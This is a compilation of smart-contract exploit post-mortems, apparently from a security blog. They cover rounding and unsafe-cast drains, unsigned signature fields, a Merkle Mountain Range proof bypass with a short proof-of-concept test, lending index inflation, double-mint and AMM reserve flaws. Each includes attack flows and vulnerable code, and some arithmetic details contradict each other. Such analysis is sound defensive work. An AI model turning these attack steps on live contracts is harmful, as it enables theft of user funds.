The divCeil function rounds up on subtractions, while additions use standard floor division. This means each trade subtracts slightly more than the exact math dictates — a net loss of ~1 wei per trade that accumulates in liquidityM.

When getLpLiquidityBalance() was subsequently called, it computed actualM = M(t) * M^-1(t0) using the drifted liquidityM and the previously snapshotted inverse. Due to the accumulated divCeil rounding, actualM[1][0] evaluated to -1 instead of 0:

// internalPerpLogic.sol lines 38-54
int256[2][2] memory actualM =
    MatrixMath.matMulTwoByTwo(liquidityM, position.inverseSnapshotM, decimals.liquidityMDecimals);

int256 m10 = actualM[1][0]; // becomes -1 due to divCeil rounding

// VULNERABILITY: direct unsafe cast from int256 to uint256
lpAssetBalance = uint256((initialStableBalance * m10 + initialAssetBalance * m11) / d);

With the attacker’s stable-only deposit (initialStableBalance = D + 1, initialAssetBalance = 0), the dot product resolved to:

((D+1) * (-1) + 0 * m11)/D  =  -(D+1) / D = -1(Solidity integer division toward zero)

The unsafe cast then triggered a full uint256 underflow:

uint256(-1) == 115792089237316195423570985008687907853269984665640564039457584007913129639935
            == type(uint256).max

A subsequent cap guard clamped this to globalLiquidityAsset, effectively giving the attacker a claim over 100% of the asset pool. The attacker then called realizePnL to convert this inflated balance into USDC and withdraw from the vault, draining $165,618 USDC.

Root Cause

The root cause is the interaction between two issues:

1. Rounding asymmetry in trade execution (perpTrade.sol): Additions use floor division while subtractions use divCeil. Each trade erodes matrix elements by ~1 wei more than exact math. After ~8 trades, this accumulated error makes actualM[1][0] go from 0 to 1.

2. Unsafe int256 → uint256 cast (internalPerpLogic.sol lines 53-54): The dot-product result is cast directly without checking for negativity. When the result is 1, the cast wraps to type(uint256).max.

Individually, neither issue would have been critical. The rounding alone only introduces sub-wei inaccuracies, and the unsafe cast is harmless without a negative input. Their combination made the exploit possible.

Lesson learned

• Never Use Unsafe int256 → uint256 Casts

  Always check value >= 0 before casting, or use SafeCast.toUint256() which reverts on negative inputs. A result of -1 silently becomes type(uint256).max — the largest possible number — and no amount of downstream capping fully mitigates this once it has happened.

• Beware of Asymmetric Rounding in Matrix Arithmetic

  When using floor for additions and divCeil for subtractions in fixed-point matrix operations, each operation creates a net loss of ~1 wei. Over multiple trades, this one-sided rounding accumulates and can flip the sign of matrix elements that should theoretically remain non-negative. Symmetric rounding or explicit rounding-error bounds checks are essential.

• Beware of Post-Audit Refactors

  The rounding flaw was introduced in a refactor carried out after the completion of the external audit by Consensys Diligence. Any code modification to mathematical core logic must undergo a secondary security review and regression testing before deployment.

Overview

Attacker: 0x81Fe3D7d35dFeFa15b9E6800B6aeFC3358E7b156

Vulnerable Implementation: 0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318

Exploit TX: 0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5

Exploit Analysis

GiddyVaultV3 uses a signed authorization struct called VaultAuth. Every deposit, withdraw, and compound operation validates this authorization before executing.

The swap objects are not just metadata. They decide which token is moved, how much is approved, which contract receives the approval, and which contract is called.

The problem is that the EIP-712 hash does not cover the full SwapInfo.

The Signed Message

The declared type hash only includes nonce, deadline, top-level amount, and bytes[] data.

Inside _validateAuthorization, the contract loops over the swap arrays and hashes only each swap’s data field.

The following fields are present in calldata but are not signed:

• swap.fromToken

• swap.toToken

• swap.amount

• swap.aggregator

That is the core bug.

The nonce check means this should not be described as a simple replay of an already-used signature. A successful authorization burns its nonce; the same validation path reverts when nonceUsed[auth.nonce] is already true and later marks the nonce as used.

The more precise description is: the attacker submitted a valid authorization, but rebound the unsigned swap wrapper fields to attacker-controlled values. The contract accepted the signature because the signed digest still matched.

Why the Unsigned Fields Were Dangerous

The dangerous part is in GiddyLibraryV3.executeSwap().

These four unsigned fields control real effects:

• fromToken controls which token the vault or strategy approves.

• amount controls how much allowance is granted.

• aggregator controls the spender and external call target.

• toToken controls which token balance is checked after the call.

So the signature covered only swap.data, while the unsigned wrapper decided the approval and external call environment around that data.

This is like signing the inside of an envelope while letting the transaction sender rewrite the destination address, the asset, and the amount on the outside.

Attack Flow

The exploit transaction created the attacker contract and used it to interact with multiple Giddy vaults in one transaction.

At a high level:

1. The attacker submitted a VaultAuth that passed _validateAuthorization().

2. The attacker kept the signed data hash valid but changed unsigned SwapInfo fields.

3. fromToken was set to real gauge tokens held by the strategy.

4. aggregator was set to attacker-controlled 0x7326...4528.

5. executeSwap() called forceApprove(fromToken, aggregator, amount).

6. The malicious aggregator used that allowance path to move the approved gauge tokens.

7. The fake toToken behavior satisfied the vault’s post-swap received-token check.

The Root Cause

The root cause was incomplete signature coverage.

The contract treated SwapInfo.data as if it represented the whole swap. It did not. The actual swap identity was fromToken + toToken + amount + aggregator + data, and only one component of that tuple was signed.

Because aggregator was unsigned, the attacker could choose the call target. Because fromToken and amount were unsigned, the attacker could choose the token allowance. Because toToken was unsigned, the attacker could satisfy the output check with a fake or attacker-controlled token.

The post-call checks were not enough:

These checks only prove that the selected fromToken balance decreased and the selected toToken balance increased. If the attacker can select both tokens and the aggregator, those checks are no longer meaningful security boundaries.

Conclusion

When using off-chain signatures to authorize on-chain execution, always proceed with caution. EIP-712 only protects the fields included in the signed digest. Any field left unsigned should be treated as user-controlled, because it can be altered in calldata and may become part of the exploit path.

Furthermore, conducting a security audit is strongly recommended for all projects, even though they are smart contracts, backends, wallets, or dapps.

What makes this incident particularly ironic? Just twelve days earlier, on April 1, Hyperbridge had published a satirical post joking about suffering a catastrophic exploit - boasting their protocol was “un-hackable.” Reality had other plans.

• Date: April 13, 2026, 03:39 – 05:08 UTC

• Protocol: Hyperbridge / ISMP Token Gateway (Ethereum)

• Loss: ~$237,000 (108.2 ETH)

• Root Cause: Missing leaf_index < leafCount bounds check in MMR proof verification

• Attacker: 0xC513E4f5D7a93A1Dd5B7C4D9f6cC2F52d2F1F8E7

• Tokens Affected: DOT (1B), ARGN (999B), MANTA (211K), CERE (23B)

Background

Hyperbridge is a cross-chain interoperability layer built by Polytope Labs that connects Polkadot to EVM-compatible chains like Ethereum. It uses the Interoperable State Machine Protocol (ISMP) to relay messages between chains, with smart contracts on Ethereum responsible for verifying cross-chain state proofs and dispatching actions like token minting and transfers.

The bridge’s security model relies on Merkle Mountain Range (MMR) proofs - a data structure used in Polkadot’s consensus - to verify that incoming cross-chain messages are legitimate. The HandlerV1 contract processes these messages: it fetches a committed Merkle root, validates message inclusion against that root, and if verification passes, dispatches the requested action.

The critical assumption? That the MMR verification library would reject any message not genuinely included in the Merkle tree. That assumption was wrong.

Root Cause

The vulnerability lies in the CalculateRoot function of the MerkleMountainRange library - a shared Solidity dependency maintained by Polytope Labs for verifying MMR proofs.

The function has a special early-exit path for single-leaf trees:

// MerkleMountainRange.sol - CalculateRoot function
// https://github.com/polytope-labs/solidity-merkle-trees

function CalculateRoot(
    bytes32[] memory proof,
    MmrLeaf[] memory leaves,
    uint256 leafCount
) internal pure returns (bytes32) {
    // special handle the only 1 leaf MMR
    if (leafCount == 1 && leaves.length == 1 && leaves[0].leaf_index == 0) {
        return leaves[0].hash;  // <-- Returns the actual leaf hash
    }
    // ... general computation path follows ...
}

When leafCount = 1 and leaf_index = 0, the function returns leaves[0].hash - the actual commitment from the cross-chain message. This is the correct behavior.

Here’s where it gets interesting. When the attacker set leaf_index = 1 - an out-of-bounds index for a tree with only one leaf (leafCount = 1) - the early-exit condition fails because leaves[0].leaf_index == 0 is no longer true. The function falls through to the general computation path:

for (uint256 p; p < length; ) {
    uint256 height = subtrees[p];
    current_subtree += 2 ** height;

    LeafIterator memory subtreeLeaves = getSubtreeLeaves(
        leaves, leafIter, current_subtree
    );

    if (subtreeLeaves.length == 0) {
        // No leaves in this subtree - take next proof element
        if (proofIter.data.length == proofIter.offset) {
            break;
        } else {
            push(peakRoots, next(proofIter));  // <-- proof[0] goes directly into peakRoots!
        }
    } else if (subtreeLeaves.length == 1 && height == 0) {
        push(peakRoots, leaves[subtreeLeaves.offset].hash);
    } else {
        push(peakRoots, CalculateSubtreeRoot(leaves, subtreeLeaves, proofIter, height));
    }
    unchecked { ++p; }
}

Since leaf_index = 1 is out of range, getSubtreeLeaves finds zero leaves matching the subtree. The code enters the subtreeLeaves.length == 0 branch and pushes proof[0] directly into peakRoots. After the peak-bagging loop, peakRoots.data[0] is returned as the computed root.

The result: CalculateRoot returns proof[0]. The attacker simply sets proof[0] equal to the expected overlay root. The “computed root” matches the “expected root” - verification passes. The actual leaf hash - the attacker’s forged message commitment - is never used in the calculation at all.

Step-by-Step: The Attack

The attacker executed a series of transactions between 03:39 and 05:08 UTC, systematically exploiting the vulnerability across multiple bridged tokens:

1. Test Run - At 03:39 UTC, the attacker deployed a contract and executed a small test transaction involving DAI (~$423), probing the exploit path (tx 0xfa23fb22...)

2. ARGN Token Mint - At 04:20 UTC, the attacker minted ~1 billion ARGN tokens, routing them through Uniswap V3 and Odos Router V3, netting approximately 1.75 ETH (tx 0xb28ab952...)

3. DOT Probe - At 04:26 UTC, the attacker minted 10,000 DOT in a smaller test, extracting ~0.02 ETH. This transaction had partial execution revert issues, suggesting the attacker was calibrating parameters (tx 0xb80c7d4c...)

4. Main DOT Dump - At 04:33 UTC, the attacker minted 1,000,000 DOT (~$1,260,000 in nominal value) and swapped them through Uniswap V4 and Odos Router, extracting approximately 0.387 ETH (tx 0x743f4bdb...)

5. Continued Extraction - At 04:51 UTC, another 712,403 DOT were minted and dumped through Uniswap V4, with diminishing returns as liquidity pools dried up (tx 0x6f1efcde...)

6. Final Sweep - At 05:07 UTC, the attacker minted a final 1,000 DOT, squeezing the last drops of liquidity from the pool (tx 0xb93aab83...)

Each exploit transaction followed the same pattern: deploy a new contract, call HandlerV1.handlePostRequests with a forged ChangeAssetAdmin message using the MMR bypass (setting leaf_index = 1, leafCount = 1, and proof[0] = overlay_root), gain admin/minter privileges on the target bridged token contract, mint tokens, and dump them through DEX aggregators.

Code Analysis

The vulnerability is a textbook case of inconsistent library behavior at edge cases. Here’s the core of the issue in the HandlerV1.handlePostRequests function:

// HandlerV1.sol - handlePostRequests
// https://github.com/polytope-labs/hyperbridge/blob/05031ae/evm/src/core/HandlerV1.sol

function handlePostRequests(IHost host, PostRequestMessage calldata request) 
    external notFrozen(host) 
{
    uint256 requestsLen = request.requests.length;
    MmrLeaf[] memory leaves = new MmrLeaf[](requestsLen);

    for (uint256 i = 0; i < requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        bytes32 commitment = leaf.request.hash();
        // leaf.kIndex and leaf.index come directly from untrusted input
        // No validation that leaf.index < leafCount!
        leaves[i] = MmrLeaf(leaf.kIndex, leaf.index, commitment);
    }

    bytes32 root = host.stateMachineCommitment(request.proof.height).overlayRoot;
    if (root == bytes32(0)) revert StateCommitmentNotFound();

    // Passes attacker-controlled leaf_index to the MMR verifier
    bool valid = MerkleMountainRange.VerifyProof(
        root, request.proof.multiproof, leaves, request.proof.leafCount
    );
    if (!valid) revert InvalidProof();

    // If verification "passes", forged messages get dispatched
    for (uint256 i = 0; i < requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        host.dispatchIncoming(leaf.request, _msgSender());
    }
}

The handler accepts leaf.index and leafCount directly from the calldata - completely attacker-controlled. No sanity check verifies that leaf.index < leafCount. This untrusted input flows directly into the MMR library’s CalculateRoot, triggering the bypass.

The following proof-of-concept demonstrates the inconsistency:

function test_MerkleMountainRange_InconsistentBehavior() public {
    bytes32[] memory proof = new bytes32[](1);
    proof[0] = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;

    MmrLeaf[] memory leaves = new MmrLeaf[](1);

    // Case A: leaf_index = 0 → early exit, returns leaf hash (correct)
    leaves[0] = MmrLeaf(0, 0, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
    bytes32 rootA = MerkleMountainRange.CalculateRoot(proof, leaves, 1);
    // rootA = 0xbbbb...  ← leaf hash, proof is ignored

    // Case B: leaf_index = 1 → bypasses early exit, returns proof[0] (VULNERABLE)
    leaves[0] = MmrLeaf(0, 1, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
    bytes32 rootB = MerkleMountainRange.CalculateRoot(proof, leaves, 1);
    // rootB = 0xaaaa...  ← attacker controls this! leaf hash completely ignored
}

The fix is remarkably simple - a single bounds check:

// Add this before the CalculateRoot computation:
require(leaf.index < leafCount, "leaf index out of bounds");

One line of validation. That’s the difference between a secure bridge and a $237K exploit with billions in unbacked tokens minted.

Lessons Learned

• Validate all inputs at system boundaries. The handler accepted leaf_index and leafCount from untrusted calldata and passed them directly to a security-critical library. Every parameter that feeds into proof verification must be bounds-checked before use - trusting that a library will handle edge cases correctly is a dangerous assumption.

• Fuzz test cryptographic libraries exhaustively. The MMR library’s behavior diverged at a single edge case (leaf_index >= leafCount). Random fuzzing with arbitrary leaf_index values would have caught this inconsistency immediately. Cryptographic verification code demands the highest testing standards - property-based and fuzz testing are non-negotiable.

• Library security is protocol security. The vulnerable code lived in solidity-merkle-trees, a shared dependency. Bridge protocols that delegate proof verification to external libraries must audit those libraries as rigorously as their own code. A bug in a dependency is a bug in your protocol.

• Inconsistent edge-case behavior is a vulnerability class. The CalculateRoot function had two code paths that behaved fundamentally differently based on leaf_index. Path A (index 0) used the leaf hash; Path B (index 1) used the proof element. This kind of bifurcated logic in security-critical code is a red flag that demands explicit documentation and testing.

• Defense-in-depth for cross-chain bridges. Beyond proof verification, secondary safeguards - rate limiting on minting, admin-change timelocks, anomaly detection - could have limited the blast radius even after verification was bypassed.

Subscribe now

Conclusion

The Hyperbridge exploit is a stark reminder that in cross-chain security, the most devastating vulnerabilities often hide in the most fundamental building blocks. A single missing bounds check - leaf_index < leafCount - turned a Merkle Mountain Range verifier into an open door, allowing an attacker to forge cross-chain messages, seize admin privileges, and mint billions in unbacked tokens across DOT, ARGN, MANTA, and CERE.

Despite minting over $2 billion in nominal token value, the attacker walked away with roughly $237K - a testament to the thin liquidity of bridged assets, but cold comfort for a protocol that staked its reputation on being “trust-minimized.” The ironic timing - just twelve days after an April Fools’ post joking about being hacked - underscores that security claims must be backed by rigorous engineering, not confidence.

This incident reinforces that oracle and proof verification code is the bedrock of cross-chain security. When the verification layer fails, everything built on top of it fails. In DeFi, a missing bounds check isn’t a minor oversight - it’s an existential risk.

On March 17, 2026, the DeFi protocol dTRINITY, a lending protocol on Ethereum, suffered a security incident resulting in an estimated loss of ~$257.3K.

The exploit stemmed from an empty market weakness commonly found in forks of Aave V3, where reserves with extremely low liquidity can behave unpredictably. In this scenario, repeated accumulation of flash loan premiums caused the liquidityIndex to increase to an abnormally high level, disrupting the accuracy of the reserve’s accounting. This distortion led to precision issues in deposit and withdrawal calculations, enabling the attacker to artificially inflate collateral value, borrow dUSD against it, and reclaim the deposited cbBTC for a net gain.

Technical Analysis of the Exploit

Incident Overview

• Date: March 17, 2026

• Protocol: dTRINITY

• L2Pool Contract: 0xfda3a0effe2f3917aa60e0741c6788619ae19e84

• Exploiter Address: 0x08cfdff8ded5f1326628077f38d4f90df6417fd9

• Attack Transactions:

  • 0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139

  • 0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260

Root Cause

The exploit stemmed from an empty market vulnerability in the lending pool of dTRITINY, an AAVE V3–style implementation, where the cbBTC reserve operated with near-zero liquidity.

At the core of the issue is the protocol’s liquidity index update mechanism, which is triggered on every flash loan repayment through _handleFlashLoanRepayment and is defined as:

Under these conditions, repeated flash loan premium accrual caused the reserve’s liquidityIndex to increase disproportionately, as the index update mechanism scales inversely with total liquidity. With minimal liquidity, even small premiums led to significant index inflation.

This created a misalignment between scaled balances and underlying assets, introducing a rounding asymmetry in which:

• Small deposits minted shares at an artificially low cost

• Withdrawals redeemed disproportionately higher value

As a result, the attacker was able to inflate collateral value, borrow against it, and extract real assets from the protocol.

Attack Flow

The exploit was executed across two sequential transactions, leveraging abnormal growth of the liquidityIndex in a near-empty cbBTC reserve.

liquidityIndex Manipulation Transaction

Transaction: 0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139

The attacker executed a multi-step strategy to manipulate the internal accounting of the cbBTC reserve, ultimately inflating the liquidityIndex far beyond its true economic value.

• Borrowed cbBTC from Morpho Blue and deposited it into the dLEND-cbBTC pool, minting 100 scaled shares.

• Withdrew 99 shares, leaving only a share balance and effectively reducing the reserve to an almost-empty state.

  

• Transferred 0.8 cbBTC directly to the dLEND-cbBTC aToken contract.

• Repeatedly invoked flashLoan operations to accumulate premiums into the reserve, causing the liquidityIndex to increase disproportionately (reaching ~6.22e27)

• Performed additional deposit/withdraw cycles to extract residual liquidity from the pool

• Repaid the flash loan

  

At the end of this transaction, the reserve was left in a distorted state, where the liquidityIndex was significantly inflated relative to actual liquidity.

Collateral Inflation and Profit Extraction Transaction

Transaction: 0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260

With the manipulated reserve state in place, the attacker proceeded to extract value by leveraging the inflated liquidityIndex.

• Borrowed cbBTC again from Morpho Blue and deposited ~7.72 cbBTC into the compromised reserve. Due to the inflated liquidityIndex, the deposit was overvalued, resulting in an artificially large collateral position.

• Used this inflated collateral to borrow approximately ~257.3K dUSD from the dLEND-dUSD market.

  

• Continued extracting cbBTC through repeated deposit and withdrawal cycles.

• Repaid the flash loan and transferred the borrowed dUSD to the attacker’s externally owned account (EOA)

Conclusion

This incident highlights how flaws in index-based accounting under low-liquidity conditions can be exploited to create severe economic distortions. By reducing the cbBTC reserve to a near-empty state and artificially inflating the liquidityIndex through flash loan premiums, the attacker was able to overvalue collateral and borrow assets far beyond legitimate limits. The exploit underscores the importance of enforcing liquidity constraints and ensuring that critical accounting variables remain tightly aligned with actual underlying value.

Original Attacker :

https://bscscan.com/address/0xe92fa2a5fef535479a91ab9ed90b26256ff276f1

https://etherscan.io/address/0x63150ac8e35c6c685e93ee4d7d5cb8eafb2f016b

Vulnerable Contract :

https://bscscan.com/address/0x9caf6c4e5b9e3a6f83182befd782304c7a8ee6de

https://etherscan.io/address/0xf5c80c305803280b587f8cabbccdc4d9bf522abd

Attack Tx :

https://bscscan.com/tx/0xe66e54586827d6a9e1c75bd1ea42fa60891ad341909d29ec896253ee2365d366

https://etherscan.io/tx/0x914a5af790e55b8ea140a79da931fc037cb4c4457704d184ad21f54fb808bc37

Analysis

The contract is a reward distribution system where users burn XEN tokens to earn DBXen rewards and a share of protocol fees. The system operates in discrete time intervals called cycles. During each cycle, users can burn tokens via burnBatch, and their contribution is tracked through accCycleBatchesBurned. At the end of a cycle, rewards are distributed proportionally based on the number of batches burned relative to the total batches burned in that cycle.

In addition to rewards, users can earn fees generated by the protocol. These fees are distributed based on a user’s accumulated rewards and stake. The function updateStats plays a central role by settling all pending rewards, fees, and stake transitions for a user whenever they interact with the contract (e.g., claiming rewards or fees).

The vulnerability arises from inconsistent use of msg.sender and _msgSender() across the contract. Specifically, different parts of the same logical flow attribute user actions to different addresses.

In bunBatch, the contract uses _msgSender() when updating accCycleBatchesBurned, meaning the burned amount is credited to the actual user.

However, when interacting with the XEN token contract, the burn mechanism uses msg.sender, which corresponds to the forwarder in a meta-transaction context. As a result, the burn operation is executed on behalf of the forwarder, not the user.

First, the attacker calls burnBatch via a trusted forwarder. This results in accCycleBatchesBurned being incremented for the attacker, while lastActiveCycle is updated for the forwarder. At this point, the system already holds inconsistent state.

Next, the attacker calls either claimRewards or claimFees. Both of these functions internally call updateStats, which attempts to calculate pending rewards for the user.

Inside updateStats, the contract checks whether the current cycle is greater than lastActiveCycle[account] and whether the user has non-zero burned batches. Because lastActiveCycle[attacker] was never updated, this condition remains true even after rewards have already been calculated.

As a result, the contract repeatedly assumes that the attacker’s burn contribution has not yet been processed and recalculates rewards every time updateStats is invoked.

Conclusion

The root cause of the vulnerability is inconsistent identity handling in a meta-transaction context. By mixing msg.sender and _msgSender() across different parts of the same execution flow, the contract attributes related state updates to different addresses. This leads to a breakdown in internal accounting, allowing an attacker to repeatedly claim rewards from a single action and ultimately drain funds from the protocol.

Overview

• Attacker: 0xA407fE273DB74184898CB56D2cb685615e1C0D6e

• Attacker’s contract: 0x6aA78a9B245Cc56377b21401B517EC8c03a40F03

• Attacker’s wallet: 0xb32D389901f963E7C87168724fBDCC3A9DB20dc9

• Vulnerable contract: BitcoinReserveOffering

• Attack transaction: 0x44e637c7d85190d376a52d89ca75f2d208089bb02b7c4708ad2aaae3a97a958d

Analysis

From an initial review of the transaction, the attacker executed a 22-iteration loop to mint and burn tokens, with the amount of BRO tokens doubling each time (what an interesting strategy!).

In each cycle, the attacker performed the following steps:

1. Burned BRO to receive a GOEFS NFT (a vault share NFT used to represent ownership and enable functions such as voting).

2. Burned the NFT to redeem the BRO tokens back.

A deeper inspection reveals an interesting issue in the mint() function: it mints BRO tokens twice for a single burned NFT. This effectively means that an attacker could acquire an NFT and redeem it to receive double the amount of BRO, creating an immediate profit opportunity.

After double-checking the verified source code of BitcoinReserveOffering, we can confirm that the contract contains a double-mint vulnerability. This flaw is the root cause of the exploit.

P/S: This is not a re-entrancy bug, since the control flow remains entirely within the contract and no external calls are involved. As a result, the vulnerability stems from flawed internal logic rather than re-entrant execution.

In the end, the attacker accumulated approximately 567M BRO tokens. He then exchanged only 165M BRO for 38 SolvBTC, and subsequently used Uniswap to swap the SolvBTC for 1,211 WETH, which was ultimately converted to ETH and transferred back to his EOA wallet.

Summary

In this exploit, attacker took advantage of a flaw in the contract logic to repeatedly manipulate the mint and redemption process and extract funds from the system. To reduce the risk of similar incidents, DeFi protocols should adopt strong security practices throughout development. This includes conducting comprehensive smart contract audits by reputable security firms, implementing thorough testing (especially for mint, burn, and accounting logic), and adding safeguards such as monitoring and emergency controls. Regular security reviews and audits are particularly important for complex financial contracts, as they can help detect subtle logic flaws before deployment.

Incident Overview

Date: Feb 22, 2026

Platform: Binance Smart Chain (BSC)

Attacker Address: 0x17f9132E66A78b93195b4B186702Ad18Fdcd6E3D

Attack Contract: 0x6588ACB7dd37887C707C08AC710A82c9F9A7C1E9

Laxo Token Contract: 0x62951CaD7659393BF07fbe790cF898A3B6d317CB

Attack Transaction: 0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3

Exploit Mechanics

All steps below were executed within a single transaction by the attack contract:

1. Borrowed 350k USDT from a PancakeSwap V3 pool using a flash loan.

2. Bought a large amount of LAXO tokens from the LAXO/USDT pool, temporarily stored them in PancakeRouter.

3. Added a small amount of liquidity (BNB and LAXO) and immediately removed it.

   This trick allowed the attacker to retrieve the temporarily stored tokens from PancakeRouter and avoid the swap fee from step 2.

4. Sold all LAXO tokens back into the LAXO/USDT pool.

   This action triggered the burn mechanism, which incorrectly updated the reserves in the PancakeSwap pool. The attacker was then able to withdraw 487k USDT.

5. Repaid 350,175 USDT to the PancakeSwap V3 pool to settle the flash loan.

Root Cause Analysis

The root issue occurs in step 4, where the PancakeSwap pool updates its reserves incorrectly.

A deeper look into the _transfer internal function of the LAXO token reveals a burn mechanism triggered when users sell tokens. The problem lies in the position of the sync call.

The contract executes sync after transferring tokens from the pair to the dead address (burn). The sync function updates the pair reserves based on the remaining LAXO and USDT balances in the pair contract.

The sync action occurs immediately after burning, causing the pair to record incorrect reserves. This inflates the LAXO reserve value, enabling the attacker to extract excess USDT from the pool when selling the remaining LAXO tokens.

Conclusion

The LAXO exploit highlights the risks of improper token logic interacting with AMM liquidity pools. A misordered burn operation and sync call caused the PancakeSwap pair to record incorrect reserves. This broke the pool’s reserve accounting and allowed the attacker to extract excess USDT. The incident shows that token mechanisms such as burns or fees must be carefully designed to avoid interfering with pool reserve updates. Projects should thoroughly review and test how their token contracts interact with AMM pools to ensure reserve calculations remain accurate and secure.

Overview

Vulnerable Contract: 0x00000000000044a361ae3cac094c9d1b14eece97

Exploit TX: 0xfe34c4beee447de536bbd3d613aa0e3aa7eeb63832e9453e4ef3999924ab466a

Exploit Analysis

The UniswapV4Router04 provides multiple swap functions. Most of these functions safely hardcode payer: msg.sender into the BaseData struct, ensuring only the caller’s tokens can be spent. However, one overload - swap(bytes calldata data, uint256 deadline) - accepts pre-encoded data directly from the caller and uses inline assembly for authorization. This is where the vulnerability lies.

The Vulnerable Function

The swap(bytes,uint256) function contains an inline assembly authorization check intended to verify that the payer field inside the encoded BaseData struct equals msg.sender:

The comment says it is “equivalent to require(abi.decode(data, (BaseData)).payer == msg.sender, Unauthorized())“ - but it is not.

Why calldataload(164)?

The developer assumed the standard (canonical) ABI encoding layout for swap(bytes,uint256). Under that assumption, the calldata is structured as:

| Byte Offset | Size | Content |
|---|---|---|
| `0–3` | 4 bytes | Function selector |
| `4–35` | 32 bytes | Offset to `bytes data` (assumed `0x40` = 64) |
| `36–67` | 32 bytes | `uint256 deadline` |
| `68–99` | 32 bytes | Length of `bytes data` |
| `100–131` | 32 bytes | `BaseData.amount` |
| `132–163` | 32 bytes | `BaseData.amountLimit` |
| **`164–195`** | **32 bytes** | **`BaseData.payer`** ← `calldataload(164)` reads here |

So calldataload(164) reads exactly BaseData.payer - but only when the bytes data parameter starts at the standard offset of 0x40 (64).

ABI Encoding Permits Non-Standard Offsets

According to the Solidity ABI Specification, dynamic types like bytes are not encoded in-place. Instead, the head part contains an offset pointer to where the data actually begins:

“For dynamic types, head(X(i)) is the offset of the beginning of tail(X(i)) relative to the start of enc(X).”

The Solidity ABI decoder follows this offset pointer to locate the data. Critically, the ABI specification does not require the offset to be the minimum possible value. From the Strict Encoding Mode section:

“Strict encoding mode is the mode that leads to exactly the same encoding as defined in the formal specification above. This means that offsets have to be as small as possible while still not creating overlaps in the data areas, and thus no gaps are allowed.”

“Usually, ABI decoders are written in a straightforward way by just following offset pointers, but some decoders might enforce strict mode. The Solidity ABI decoder currently does not enforce strict mode, but the encoder always creates data in strict mode.”

This means the Solidity decoder happily accepts calldata where the bytes data parameter starts at any valid offset - not just 0x40. An attacker can set the offset to a larger value, shifting where the actual BaseData struct is located in the calldata, while placing their own address at the fixed position 164.

The Disconnect

After the assembly check passes, the function calls _unlockAndDecode(data):

Inside the unlock callback, the data is decoded using Solidity’s standard abi.decode:

This abi.decode correctly follows the offset pointer and reads BaseData from wherever data actually points - which, in the attacker’s crafted calldata, is at a different location than position 164.

Attack Flow

The attacker constructs calldata for swap(bytes,uint256) with a non-standard offset for the bytes data parameter:

1. Position 164: Contains the attacker’s own address → passes the calldataload(164) == caller() assembly check.

2. Actual bytes data: Located at a different offset, contains a BaseData struct with payer set to the victim’s address.

When the swap executes, the victim’s tokens are used for the input settlement. Since the victim had previously approved the router contract for USDC spending, the router successfully transfers USDC from the victim to complete the swap, sending the output tokens to the attacker’s chosen receiver.

Conclusion

This exploit demonstrates the danger of using hardcoded calldata offsets in inline assembly for authorization checks. The EVM’s ABI encoding is more flexible than developers often assume - dynamic types like bytes can have their data placed at arbitrary offsets, and the Solidity ABI decoder does not enforce strict encoding mode. Any security check that relies on a fixed calldata position will fail when confronted with non-standard but perfectly valid ABI encoding.

Furthermore, conducting a security audit is strongly recommended for all projects, even though they are smart contracts, backends, wallets, or dapps.